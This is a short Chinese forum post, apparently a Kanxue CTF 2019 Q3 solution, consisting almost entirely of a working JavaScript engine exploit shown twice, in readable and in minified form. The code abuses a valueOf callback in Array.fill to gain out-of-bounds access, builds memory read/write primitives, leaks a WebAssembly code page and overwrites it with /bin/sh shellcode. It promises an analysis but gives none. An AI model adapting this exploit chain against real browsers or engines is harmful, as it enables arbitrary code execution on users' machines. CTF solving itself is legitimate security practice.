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[原创] 看雪 ctf q3 第十二题:精忠报国
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2019-9-12 04:55 2632
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膜2019师傅
也不知道自己思路对不对反正就是getshell了...等writeup
木有什么时间先贴下代码,以后会加上分析的(嗯,会加上的)
var buf =new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); function f2i(f) { float64[0] = f; return bigUint64[0]; } function i2f(i) { bigUint64[0] = i; return float64[0]; } function hex(i) { return i.toString(16).padStart(16, "0"); } var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ]; a=[1.1,2.2,3.3]; b=[]; c=[]; a.length=0x100; a.fill(1.1,14,{valueOf(){ a.length=0x2; a.fill(f); c=[1.1,2.2,3.2]; b=[f]; return 15; }}); doublemap = c[3]; wasm_base = f2i(c[9])-1n; function element_to(addr){ c[10]=doublemap; c[12]=i2f(addr); } // leak wasm base element_to(wasm_base+8n+1n); shareleak = f2i(b[0]); element_to(shareleak-8n); dataleak = f2i(b[0]); element_to(dataleak); instanceleak = f2i(b[0]); element_to(instanceleak+0x70n); wasmleak = f2i(b[0]); // overwrite to shellcode element_to(wasmleak+0x231n); b[0]=i2f(shellcode[0]); element_to(wasmleak+0x231n+0x8n); b[0]=i2f(shellcode[1]); element_to(wasmleak+0x231n+0x10n); b[0]=i2f(shellcode[2]); f();
压缩网站 https://www.html.cn/tool/ysjs/
压缩后
var buf=new ArrayBuffer(16);var float64=new Float64Array(buf);var bigUint64=new BigUint64Array(buf);function f2i(f){float64[0]=f;return bigUint64[0];}function i2f(i){bigUint64[0]=i;return float64[0];}function hex(i){return i.toString(16).padStart(16,"0");}var wasmCode=new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule=new WebAssembly.Module(wasmCode);var wasmInstance=new WebAssembly.Instance(wasmModule,{});var f=wasmInstance.exports.main;var shellcode=[0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n];a=[1.1,2.2,3.3];b=[];c=[];a.length=0x100;a.fill(1.1,14,{valueOf(){a.length=0x2;a.fill(f);c=[1.1,2.2,3.2];b=[f];return 15;}});doublemap=c[3];wasm_base=f2i(c[9])-1n;function element_to(addr){c[10]=doublemap;c[12]=i2f(addr);}element_to(wasm_base+8n+1n);shareleak=f2i(b[0]);element_to(shareleak-8n);dataleak=f2i(b[0]);element_to(dataleak);instanceleak=f2i(b[0]);element_to(instanceleak+0x70n);wasmleak=f2i(b[0]);element_to(wasmleak+0x231n);b[0]=i2f(shellcode[0]);element_to(wasmleak+0x231n+0x8n);b[0]=i2f(shellcode[1]);element_to(wasmleak+0x231n+0x10n);b[0]=i2f(shellcode[2]);f();
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